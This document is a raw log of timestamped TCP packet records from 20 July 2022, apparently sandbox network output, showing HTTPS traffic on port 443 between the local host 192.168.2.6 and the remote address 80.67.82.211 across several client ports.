Jul 20, 2022 09:08:24.628139973 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.628180981 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.628230095 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.628252029 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.628278017 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.628309011 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.628315926 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.628341913 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.628360033 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.628391027 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.628442049 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.628446102 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.629498005 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.629523993 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.629595041 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.629605055 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.629616022 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.629699945 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.629718065 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.629757881 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.629776001 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.629816055 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.629837036 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.629870892 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.629882097 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.629888058 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.629935980 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.629986048 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.629992962 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.630012035 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.630032063 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.630053043 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.630062103 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.630134106 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.630166054 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.630176067 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.630201101 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.630212069 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.630245924 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.630296946 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.630305052 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.630702972 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.630728960 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.630752087 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.630778074 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.630795002 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.630804062 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.630883932 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.630884886 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.630904913 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.630919933 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.630933046 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.630938053 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.631011009 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.631014109 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.631026983 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.631048918 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.631059885 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.631083012 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.631125927 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.631130934 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.631159067 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.631234884 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.632072926 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.632103920 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.632164001 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.632172108 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.632230043 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.632262945 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.633213043 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.633327961 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.633425951 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.633447886 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.633526087 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.633537054 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.633573055 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.633610964 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.633893013 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.633919001 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.633975983 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.634006977 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.634028912 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.634071112 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.634143114 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.634167910 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.634191036 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.634268045 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.634274960 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.634335995 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.635004997 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.635040045 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.635116100 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.635126114 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.635148048 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.635160923 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.635188103 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.635251045 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.636055946 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.636089087 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.636106014 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.636152983 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.636162043 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.636241913 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.636269093 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.636274099 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.636833906 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.636857033 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.636926889 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.636950016 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.636977911 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.637025118 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.637037039 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.637053967 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.637054920 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.637084961 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.637098074 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.637164116 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.637175083 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.637221098 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.637866020 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.637892962 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.637999058 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.638016939 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.638063908 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.638079882 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.638084888 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.638170004 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.638179064 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.639327049 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.639379978 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.639425039 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.639885902 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.639918089 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.639982939 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.639991999 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.640022993 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.640053988 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.640152931 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.640229940 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.640624046 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.640650988 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.640734911 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.640760899 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.640819073 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.641338110 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.641361952 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.641452074 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.641467094 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.641475916 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.641500950 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.641509056 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.641567945 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.641573906 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.641576052 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.641621113 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.641654968 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.644653082 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.644777060 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.645760059 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.645781040 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.645853043 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.645864964 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.645908117 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.645941019 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.645962954 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.645972967 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.646030903 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.646040916 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.646085978 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.646121979 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.647233963 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.647258997 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.647336960 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.647349119 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.647366047 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.647396088 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.647397041 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.647455931 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.647463083 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.647464037 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.647515059 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.647852898 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.647878885 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.647952080 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.647974014 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.647998095 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.648041010 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.648313046 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.648389101 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.648788929 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.648880959 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.648915052 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.649007082 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.649111986 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.649125099 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.649143934 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.649157047 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.649199009 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.649207115 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.649292946 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.649307013 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.649334908 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.649354935 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.650065899 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.650103092 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.650116920 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.650166988 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.650177956 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.650213957 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.650248051 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.650454998 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.650475979 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.650562048 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.650573969 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.650620937 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.650769949 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.650801897 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.650849104 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.650883913 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.650904894 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.650932074 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.650940895 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.650990009 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.651248932 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.651269913 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.651365042 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.651376963 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.651423931 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.651896000 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.651923895 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.651981115 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.651998997 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.652065039 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.652079105 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.652127028 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.652225018 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.652318954 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.652636051 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.652671099 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.652728081 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.652734995 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.652765989 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.652786970 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.653115988 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.653141975 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.653198004 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.653215885 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.653273106 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.653280020 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.653532982 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.653557062 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.653623104 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.653635979 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.653650045 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.653659105 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.653661966 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.653732061 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.653764009 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.653789043 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.653795958 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.653815985 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.654025078 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.654068947 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.654150009 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.654160976 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.654191017 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.654241085 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.654273987 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.654278994 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.654287100 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.654300928 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.654350042 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.654361963 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.654408932 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.654439926 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.654691935 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.654717922 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.654802084 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.654814959 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.654849052 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.654871941 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.655678034 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.655715942 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.655775070 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.655889034 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.655903101 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.655962944 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.655971050 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.656146049 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.656162977 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.656183958 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.656219006 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.656301975 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.656322002 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.656336069 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.656389952 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.656393051 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.656405926 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.656416893 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.656462908 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.656466007 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.656531096 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.657532930 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.657567978 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.657568932 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.657635927 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.657644987 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.657711983 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.657720089 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.658206940 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.658232927 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.658293962 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.658337116 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.658360004 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.658375978 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.658421040 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.658535957 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.658556938 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.658622026 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.658632994 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.658646107 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.658673048 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.658673048 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.658725977 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.658742905 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.658767939 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.658772945 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.658796072 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.659197092 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.659226894 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.659298897 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:24.659307003 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:24.659356117 CEST	50724	443	192.168.2.6	80.67.82.211
